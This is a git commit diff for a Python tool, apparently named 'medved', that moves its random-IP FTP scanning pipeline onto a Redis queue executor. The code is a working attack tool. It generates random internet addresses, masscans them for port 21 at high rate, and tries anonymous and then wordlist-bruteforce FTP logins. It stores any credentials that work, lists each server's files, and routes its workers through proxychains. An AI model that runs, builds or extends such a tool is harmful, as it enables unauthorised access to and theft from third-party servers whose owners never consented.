Get rid of DataManager; Working rq executor; Started moving plugins

data/config.yaml

@@ -3,110 +3,70 @@ dsl_version: 1
 
 core:
   services:
-  - data_manager
-#  - zmq_listener
+  - random_ip
   - rq_executor
   pipelines:
-    - ftp
-
+  - ftp
 
 services:
-  data_manager:
-    package: lib.data.Manager
-    service: DataManager
-    data:
-      id: pool
-    sources:
-    - random_ip
-    feeds: 
-    - test_telegram
-  zmq_listener:
-    package: lib.net.Listener
-    service: ZMQListener
-    data:
-      id: pool
-    listen: "0.0.0.0"
-    port: 12321
   rq_executor:
     package: lib.exeq.Executor
     service: RQExecutor
-    data:
-      id: pool
+    storage: pool
     redis:
       host: "127.0.0.1"
-
-
-sources:
   random_ip:
     package: lib.plugin.base.lib.IP
     service: RandomIP
-    data:
-      id: random_ip
-
-
-feeds:
-  test_telegram:
-    package: lib.plugin.base.lib.Telegram
-    service: TelegramFeed
-    data:
-      id: pool
-    token: 
-    chats: 
-      - id: good_evening
-        pipelines: [ftp, gopher]
-        filter:
-          clause: any-of
-          equal: 
-          - ftp_list_files_status: success
-          - gopher_collect_status: success
-
+    storage: ftp_source
 
 storage:
   pool:
     package: lib.plugin.base.lib.Mongo
     service: MongoStorage
-    size: 40960
+    size: 0
     db: "medved"
     coll: 'pool'
-  random_ip:
+  ftp_source:
     package: lib.plugin.base.lib.Mongo
     service: MongoStorage
     size: 500
     db: "medved"
-    coll: 'randomipsource'
+    coll: 'ftp_source'
 
 
 pipelines:
   ftp:
+    source: ftp_source
     steps:
-    - name: scan
-      package: lib.plugin.iscan.tasks.common
-      service: scan
-      multiple: 10
-      requires: []
-    - name: connect
-      package: lib.plugin.iscan.tasks.ftp
-      service: connect
-      multiple: False
-      requires:
-      - ftp_scan
-    - name: list_files
-      package: lib.plugin.iscan.tasks.ftp
-      service: list_files
-      multiple: False
-      requires:
-      - ftp_connect
+    - task: ftp_scan
+      priority: low
+      multiple: 100
+    - task: ftp_connect
+      priority: normal
+      if:
+        steps.ftp_scan: true
+    - task: ftp_list_files
+      priority: high
+      if:
+        steps.ftp_connect: true
 
 tasks:
   ftp_scan:
+    package: lib.plugin.iscan.tasks.common
+    service: MasScanTask
     ports:
     - 21
   ftp_connect:
+    package: lib.plugin.iscan.tasks.ftp
+    service: FTPConnectTask
     logins: data/ftp/logins.txt
     passwords: data/ftp/passwords.txt
     bruteforce: true
     timeout: 15
   ftp_list_files:
+    package: lib.plugin.iscan.tasks.ftp
+    service: FTPListFilesTask
 
 logging: 
   Storage: INFO

docker/worker/files/run.sh

@@ -4,4 +4,4 @@ export CORE_IP=$(host ${CORE_IP} | head -n1 | grep -Po "(\d+\.?){4}")
 
 /tmp/confd -onetime -backend env
 
-cd /mdvd && proxychains -q rq worker common -u "redis://${REDIS_IP}:6379/"
+cd /mdvd && proxychains -q rq worker high normal low -u "redis://${REDIS_IP}:6379/"

lib/Service.py

@@ -9,7 +9,7 @@ class Service(Loadable):
   def __init__(self, thread, id, root=cnf):
     super().__init__(id, root)
 
-    self._data = Loader.by_id('storage', self.lcnf.get("data").get("id"))
+    self._data = Loader.by_id('storage', self.lcnf.get("storage"))
 
     self._stop_timeout = 10
     self._running = False

lib/data/Manager.py

@@ -1,61 +0,0 @@
-from lib.data import Source, Feed
-from time import sleep
-from lib import Service, Loader
-
-class DataManager(Service):
-  """Actually, we may load feeds, sources and datapools right in core. Not sure that datamanager is required just to pull sources"""
-  def __init__(self, id, root):
-    super().__init__(self.__run, id, root)
-    self._logger.add_field('service', 'DataManager')
-
-    self.sources = {}
-    for s in self.lcnf.get("sources"):
-      self.attach_source(s)
-    self.feeds = {}
-    for f in self.lcnf.get("feeds"):
-      self.attach_feed(f)
-
-  def _pre_start(self):
-    self._logger.debug('starting sources')
-    for _,s  in self.sources.items():
-      s.start()
-    self._logger.debug('starting feeds')
-    for _,f in self.feeds.items():
-      f.start()
-
-  def _pre_stop(self):
-    self._logger.debug('stopping sources')
-    for _,s in self.sources.items():
-      s.stop()
-    self._logger.debug('stopping feeds')
-    for _,f in self.feeds.items():
-      f.stop()
-  
-  def attach_source(self, id):
-    ds = Loader.by_id('sources', id)
-    self.sources[id] = ds
-
-  def attach_feed(self, id):
-    df = Loader.by_id('feeds', id)
-    self.feeds[id] = df
-  
-  def get_source(self, name) -> Source:
-    return self.sources.get(name)
-  
-  def get_feed(self, name) -> Feed:
-    return self.feeds.get(name)
-
-  def __run(self):
-    oneshot = self.lcnf.get("oneshot", 500)
-    while self._running:
-      if self._data.count() < oneshot:
-        while self._running and (self._data.count() + oneshot < self._data.size()):
-          self._logger.debug("fill %s OF %s", self._data.count(), self._data.size())
-          for _,source in self.sources.items():
-            items = source.next(count=oneshot)
-            if items:
-              self._data.put(items)
-          sleep(1)
-      else:
-        self._logger.debug('Pool size is ok: %s', self._data.count())
-      sleep(1)

lib/data/Source.py

@@ -7,11 +7,10 @@ class Source(Service):
     self._logger.add_field('service', 'Feed')
     self._logger.add_field('vname', self.__class__.__name__)
   
-  def item(self, val = None):
-    return {
+    self._item = {
       'source': self._id,
       'steps': {},
-      'data': val
+      'data': {}
     }
 
   def next(self, count=10, block=False):

lib/data/Storage.py

@@ -7,7 +7,7 @@ class Storage(Loadable):
   def __init__(self, id, root):
     super().__init__(id, root)
 
-    self._size = self.lcnf.get("size")
+    self._size = self.lcnf.get("size", 0)
     self._logger = Logger("Storage")
     self._logger.add_field('vname', self.__class__.__name__)
   

lib/data/Type.py

@@ -1,13 +0,0 @@
-from lib import Loadable, Logger
-
-# dunno
-
-class Type(Loadable):
-  def __init__(self):
-    self.data = {}
-  
-class Host(Type):
-  def __init__(self):
-    self.data = {
-      'ip': ''
-    }

lib/exeq/Executor.py

@@ -22,33 +22,38 @@ class RQExecutor(Executor):
     super().__init__(self.__run, id, root)
 
   def __run(self):
+    redis_conn = Redis(host=self.lcnf.get('redis').get('host'))
+    
+    jobs = []
     while self._running:
+      sleep(self.lcnf.get('delay', 0.07))
       try:
-        redis_conn = Redis(host=self.lcnf.get('redis').get('host'))
-        q = Queue('worker', connection=redis_conn)
-        if q.count + 1 > self.lcnf.get('size', 100):
-          sleep(self.lcnf.get('delay', 2))
-          continue
+        for job in [j for j in jobs if j.result is not None]:
+          self._logger.debug('Publishing finished job result')
+          self._data.put(job.result)
+          job.cleanup()
+          jobs.remove(job)
         for pn, pipeline in self.cnf.get("pipelines").items():
           self._logger.debug("pipeline: %s", pn)
+          source = Loader.by_id('storage', pipeline.get('source'))
           for step in pipeline['steps']:
-            self._logger.debug("step: %s", step['name'])
-            filter = {
-              "not_exist": [
-                pn + '_' + step['name']
-              ],
-              "exist": [
-                [tag for tag in step.get("requires")]
-              ]
-            }
-            items = []
-            multiple = step.get('multiple', False)
-            if multiple != False:
-              items = self._data.get(block=False, count=multiple, filter=filter)
-            else:
-              items = self._data.get(block=False, filter=filter)
+            self._logger.debug("task name: %s", step['task'])
+            q = Queue(step.get('priority', 'normal'), connection=redis_conn)
+            if q.count + 1 > self.lcnf.get('qsize', 100):
+              continue
+            filter = {"steps.%s" % step['task']: {'$exists': False}}
+            filter.update({key: value for key, value in step.get("if", {}).items()})
+            count = step.get('multiple') if step.get('multiple', False) else 1
+            # get as much as possible from own pool
+            items = self._data.get(block=False, count=count, filter=filter)
+            # obtain everything else from source
+            if len(items) < count:
+              items.extend(source.get(block=False, count=(count - len(items)), filter=filter))
             if items:
-              self._logger.debug("enqueueing %s.%s with %s", step['package'], step['service'], items)
-              q.enqueue("%s.%s" % (step['package'], step['service']), items)
+              for i in items:
+                i['steps'][step['task']] = None
+              self._logger.debug("enqueueing task '%s' (count: %s)", step['task'], len(items))
+              job = q.enqueue("lib.exeq.Task.run", step['task'], items)
+              jobs.append(job)
       except Exception as e:
-        self._logger.error(e)
+        self._logger.error("Error in executor main thread: %s", e)

lib/exeq/Pipeline.py

@@ -1,7 +0,0 @@
-from lib import Loadable
-#TODO dunno
-class Pipeline(Loadable):
-  def __init__(self, id, root):
-    super().__init__(id, root)
-  
-  

lib/exeq/Task.py

@@ -0,0 +1,23 @@
+from lib import Loadable, Logger, Loader
+
+from Config import cnf
+
+class Task(Loadable):
+  def __init__(self, id, root):
+    super().__init__(id, root)
+    self._logger = Logger(self.__class__.__name__)
+  
+  def run(self, items):
+    result = []
+    try:
+      result = self._run(items)
+    except Exception as e:
+      self._logger.debug("Error occured while executing: %s", e)
+    return result
+
+  def _run(self, items):
+    return items
+
+def run(task_name, items):
+  result = Loader.by_id('tasks', task_name).run(items)
+  return result

lib/exeq/__init__.py

@@ -1 +1,2 @@
 from .Executor import Executor
+from .Task import Task

lib/plugin/Task.py

@@ -1,7 +0,0 @@
-class Task:
-  """Pipelines should consist of tasks??..."""
-  def __init__(self):
-    self._data = None
-  
-  def run(self):
-    pass

lib/plugin/base/lib/IP.py

@@ -1,6 +1,8 @@
 from lib.data import Source
 from lib import Loader
 
+import copy
+
 from time import sleep
 
 import os
@@ -14,13 +16,12 @@ class IPSource(Source):
   def __init__(self, thread, id, root):
     super().__init__(thread, id, root)
   
-  def item(self, val = None):
-    return {
+    self._item.update ({
       'source': self._id,
       'data': {
-        'ip': val
+        'ip': None
       }
-    }
+    })
 
 
 class IPRange(IPSource):
@@ -80,8 +81,10 @@ class RandomIP(IPSource):
       try:
         items = []
         for _ in itertools.repeat(None, self.lcnf.get("oneshot", 100)):
+          item = copy.deepcopy(self._item)
           randomip = socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))
-          items.append(self.item(str(randomip)))
+          item['data']['ip'] = str(randomip)
+          items.append(item)
         self._data.put(items)
         sleep(self.lcnf.get("delay", 0.5))
       except Exception as e:

lib/plugin/base/lib/Mongo.py

@@ -17,41 +17,37 @@ class MongoStorage(Storage):
     return self._coll.count()
   
   def _get(self, block, filter):
-    # TODO cleanup dat BS
     if filter is None:
       filter = {}
-    ne_tags = {}
-    e_tags = {}
-    if filter.get('not_exist'):
-      tags = []
-      for ne in filter.get('not_exist'):
-        tags.append(ne)
-      ne_tags = {'tags': {'$not': {'$all': tags}}}
-      del filter['not_exist']
-    if filter.get('exist'):
-      tags = []
-      for e in filter.get('exist'):
-        tags.append(e)
-      e_tags = {'tags': {'$all': tags}}
-      del filter['exist']
-    filter = {'$and': [ne_tags, e_tags]}
+    else:
+      self._logger.debug(filter)
     item = self._coll.find_one_and_delete(filter=filter)
     if block:
       while not item:
         item = self._coll.find_one_and_delete(filter=filter)
         sleep(1)
-    
-    return item
+  
+  def _get_many(self, count, block, filter):
+    if filter is None:
+      filter = {}
+    else:
+      self._logger.debug(filter)
+    items = self._coll.find(filter=filter, limit=count)
+    result = []
+    for i in items:
+      self._coll.delete_one({'_id': i['_id']})
+      result.append(i)
+    return result
   
   def _put(self, item, block):
-    if block:
+    if block and self.size() is not 0:
       while self.count() + 1 > self.size():
         self._logger.debug('Collection full: %s of %s', self.count(), self.size())
         sleep(1)
     self._coll.insert_one(item)
   
   def _put_many(self, items, block):
-    if block:
+    if block and self.size() is not 0:
       while self.count() + len(items) > self.size():
         self._logger.debug('Collection full: %s of %s', self.count(), self.size())
         sleep(1)

lib/plugin/iscan/tasks/common.py

@@ -7,8 +7,7 @@ from lib import Logger
 import GeoIP
 from Config import cnf
 
-logger = Logger("common")
-
+from lib.exeq import Task
 
 class MasScan:
   def __init__(self, bin_path='/usr/bin/masscan', opts="-sS -Pn -n --wait 0 --max-rate 5000"):
@@ -30,29 +29,47 @@ class MasScan:
     result = parser.loads(out)
     return result
 
-def scan(items):
-  gi = GeoIP.open(cnf.get("geoip_dat", "/usr/share/GeoIP/GeoIP.dat"), GeoIP.GEOIP_INDEX_CACHE | GeoIP.GEOIP_CHECK_CACHE)
-  logger.debug("Starting scan")
-  ms = MasScan()
-  hosts = ms.scan(ip_list=[i['data']['ip'] for i in items], 
-                  port_list=cnf.get("tasks").get('ftp_scan').get("ports"))
-  logger.debug(hosts)
-  for h in hosts:
-    for port in h['ports']:
-      host = {
-        'ip': h['ip'],
-        'port': port['port'],
-        'data': {
+class MasScanTask(Task):
+  def __init__(self, id, root):
+    super().__init__(id, root)
+
+  def _run(self, items):
+    result = []
+
+    gi = GeoIP.open(cnf.get("geoip_dat", "/usr/share/GeoIP/GeoIPCity.dat"), GeoIP.GEOIP_INDEX_CACHE | GeoIP.GEOIP_CHECK_CACHE)
+    ip_list = [i['data']['ip'] for i in items]
+    port_list = cnf.get("tasks").get(self._id).get("ports")
+    
+    self._logger.debug("Starting scan, ip_list=%s, port_list=%s", ip_list, port_list)
+    
+    ms = MasScan()
+    hosts = ms.scan(ip_list=ip_list, port_list=port_list)
+    
+    self._logger.debug(hosts)
+    hosts = {h['ip']: h for h in hosts}
+    for item in items:
+      data = {}
+      result = False
+      if hosts.get(item['data']['ip']):
+        data = {
+          'ports': [p['port'] for p in hosts[item['data']['ip']]['ports']],
           'geo': {
             'country': None,
             'city': None
           }
         }
-      }
-    geodata = gi.record_by_name(host['ip'])
-    if geodata:
-      if 'country_code3' in geodata and geodata['country_code3']:
-        host['data']['geo']['country'] = geodata['country_code3']
-      if 'city' in geodata and geodata['city']:
-        host['data']['geo']['city'] = geodata['city']
-    logger.debug("Found %s:%s", host['ip'], host['port'])
+        result = True
+        geodata = gi.record_by_name(item['data']['ip'])
+        if geodata:
+          if 'country_code3' in geodata and geodata['country_code3']:
+            data['geo']['country'] = geodata['country_code3']
+          if 'city' in geodata and geodata['city']:
+            data['geo']['city'] = geodata['city']
+      self._logger.debug(data)
+      item['data'].update(data)
+      item['steps'][self._id] = result
+      if result:
+        self._logger.debug("Found %s with open %s", item['data']['ip'], item['data']['ports'])
+
+    self._logger.debug(items)
+    return items

lib/plugin/iscan/tasks/ftp.py

@@ -0,0 +1,121 @@
+# pylint: disable=E1101
+
+import ftplib
+import netaddr
+
+from lib import Logger
+from Config import cnf
+
+from lib.exeq import Task
+
+class FTPConnectTask(Task):
+  def __init__(self, id, root):
+    super().__init__(id, root)
+
+  def _process(self, item):
+    data = {}
+    result = False
+
+    self.ftp = ftplib.FTP(host=item['data']['ip'], timeout=self.lcnf.get('timeout', 30))
+    try:
+      self._logger.debug('Trying anonymous login')
+      self.ftp.login()
+    except ftplib.error_perm:
+      pass
+    else:
+      self._logger.debug('Succeeded with anonymous')
+      data['username'] = 'anonymous'
+      data['password'] = ''
+      result = True
+
+      self._logger.debug(data)
+      item['data'].update(data)
+      item['steps'][self._id] = result
+      return
+
+    if self.lcnf.get('bruteforce', False):
+      usernames = []
+      passwords = []
+
+      with open(self.lcnf.get('logins'), 'r') as lfh:
+        for username in lfh:
+          usernames.append(username.rstrip())
+      with open(self.lcnf.get('passwords'), 'r') as pfh:
+        for password in pfh:
+          passwords.append(password.rstrip())
+      for username in usernames:
+        for password in passwords:
+          try:
+            self.ftp.voidcmd('NOOP')
+          except IOError:
+            self.ftp = ftplib.FTP(host=item['data']['ip'], timeout=self.lcnf.get('timeout', 30))
+          self._logger.debug('Trying %s' % (username + ':' + password))
+          try:
+            self.ftp.login(username, password)
+          except ftplib.error_perm:
+            continue
+          except:
+            raise
+          else:
+            self._logger.debug('Succeeded with %s' %(username + ':' + password))
+            data['username'] = username
+            data['password'] = password
+            result = True
+
+
+            self._logger.debug(data)
+            item['data'].update(data)
+            item['steps'][self._id] = result
+            return
+    self._logger.debug(data)
+    item['data'].update(data)
+    item['steps'][self._id] = result
+
+  def _run(self, items):
+    for item in items:
+      self._process(item)
+    return items
+
+class FTPListFilesTask(Task):
+  def __init__(self, id, root):
+    super().__init__(id, root)
+
+  def _process(self, item):
+    self.ftp = ftplib.FTP(host=item['data']['ip'], 
+                          user=item['data']['username'],
+                          passwd=item['data']['password'])
+    filelist = self.ftp.nlst()
+    try:
+      self.ftp.quit()
+    except:
+      # that's weird, but we don't care
+      pass
+
+    try:
+      if len(filelist) == 0 or filelist[0] == "total 0":
+        raise self.PipelineError("Empty server")
+    except IndexError:
+      pass
+
+    item['data']['files'] = []
+    for fileName in filelist:
+      item['data']['files'].append(fileName)
+
+  def _filter(self, item):
+    item['data']['filter'] = False
+    if len(item['data']['files']) == 0:
+      item['data']['filter'] = "Empty"
+    elif len(item['data']['files']) < 6:
+      match = 0
+      for f in 'incoming', '..', '.ftpquota', '.', 'pub':
+        if f in item['data']['files']:
+          match += 1
+        if match == len(item['data']['files']):
+          item['data']['filter'] = "EmptyWithSystemDirs"
+
+  def _run(self, items):
+    for item in items:
+      self._process(item)
+      if self.lcnf.get('filter', False):
+        self._filter(item)
+    return items

lib/plugin/plugins/FTP.py

@@ -2,11 +2,10 @@ import ftplib
 import netaddr
 
 from Config import cnf
-from lib.plugin.plugins import BasePlugin
 
 
-class Plugin(BasePlugin):
-  class TelegramMessage(BasePlugin.TelegramMessage):
+class Plugin():
+  class TelegramMessage():
     def _init(self):
       self._name = "FTP"
     
@@ -17,94 +16,3 @@ class Plugin(BasePlugin):
         self.data['txt'] += " + %s\n" % filename
       self.data['txt'] += "Geo: %s/%s\n" % (self._host['data']['geo']['country'], self._host['data']['geo']['city'])
       self.data['txt'] += "#ftp_" + str(int(netaddr.IPAddress(self._host['ip'])))
-
-  class Pipeline(BasePlugin.Pipeline):
-    def _init(self):
-      self._name = "FTP"
-
-    def run(self):
-      try:
-        self._connect()
-        self._find()
-        self._filter()
-        self._push()
-      except Exception as e:
-        self._logger.debug("Error occured: %s (%s)", e, self._host['ip'])
-      else:
-        self._logger.info("Succeeded for %s" % self._host['ip'])
-
-    def _connect(self):
-      self.ftp = ftplib.FTP(host=self._host['ip'], timeout=cnf.stalker.FTP.timeout)
-      try:
-        self._logger.debug('Trying anonymous login')
-        self.ftp.login()
-      except ftplib.error_perm:
-        pass
-      else:
-        self._logger.debug('Succeeded with anonymous')
-        self._host['data']['username'] = 'anonymous'
-        self._host['data']['password'] = ''
-        return
-
-      if cnf.stalker.FTP.bruteforce:
-        usernames = []
-        passwords = []
-
-        with open(cnf.stalker.FTP.logins, 'r') as lfh:
-          for username in lfh:
-            usernames.append(username.rstrip())
-        with open(cnf.stalker.FTP.passwords, 'r') as pfh:
-          for password in pfh:
-            passwords.append(password.rstrip())
-        for username in usernames:
-          for password in passwords:
-            try:
-              self.ftp.voidcmd('NOOP')
-            except IOError:
-              self.ftp = ftplib.FTP(host=self._host['ip'], timeout=cnf.stalker.FTP.timeout)
-            self._logger.debug('Trying %s' % (username + ':' + password))
-            try:
-              self.ftp.login(username, password)
-            except ftplib.error_perm:
-              continue
-            except:
-              raise
-            else:
-              self._logger.debug('Succeeded with %s' %(username + ':' + password))
-              self._host['data']['username'] = username
-              self._host['data']['password'] = password
-              return
-        raise Exception('No matching credentials found')
-
-    def _find(self):
-      filelist = self.ftp.nlst()
-      try:
-        self.ftp.quit()
-      except:
-        # that's weird, but we don't care
-        pass
-
-      try:
-        if len(filelist) == 0 or filelist[0] == "total 0":
-          raise self.PipelineError("Empty server")
-      except IndexError:
-        pass
-
-      self._host['data']['files'] = []
-      for fileName in filelist:
-        self._host['data']['files'].append(fileName)
-
-    def _filter(self):
-      self._host['data']['filter'] = False
-      if len(self._host['data']['files']) == 0:
-        self._host['data']['filter'] = "Empty"
-      elif len(self._host['data']['files']) < 6:
-        match = 0
-        for f in 'incoming', '..', '.ftpquota', '.', 'pub':
-          if f in self._host['data']['files']:
-            match += 1
-          if match == len(self._host['data']['files']):
-            self._host['data']['filter'] = "EmptyWithSystemDirs"
-
-
-

lib/tasks/__init__.py

@@ -1,2 +0,0 @@
-#from .scan import scan
-#from .stalk import stalk

lib/tasks/worker.py

@@ -1,8 +0,0 @@
-from lib.plugin import Manager
-# legacy
-# why legacy?
-def worker(host, plugin):
-    p = Manager.get_plugin(plugin)
-    p.Plugin.Pipeline(host, plugin)
-    del p
-    # cool bro

lib/util.py

@@ -74,8 +74,8 @@ class Logger(logging.Logger):
 class Loadable:
   """parent for loadable from configuration"""
   def __init__(self, id, root=config):
-    self.cnf = config
-    self.lcnf = root[id]
+    self.cnf = config # global config
+    self.lcnf = root[id] # local config 
     self._id = id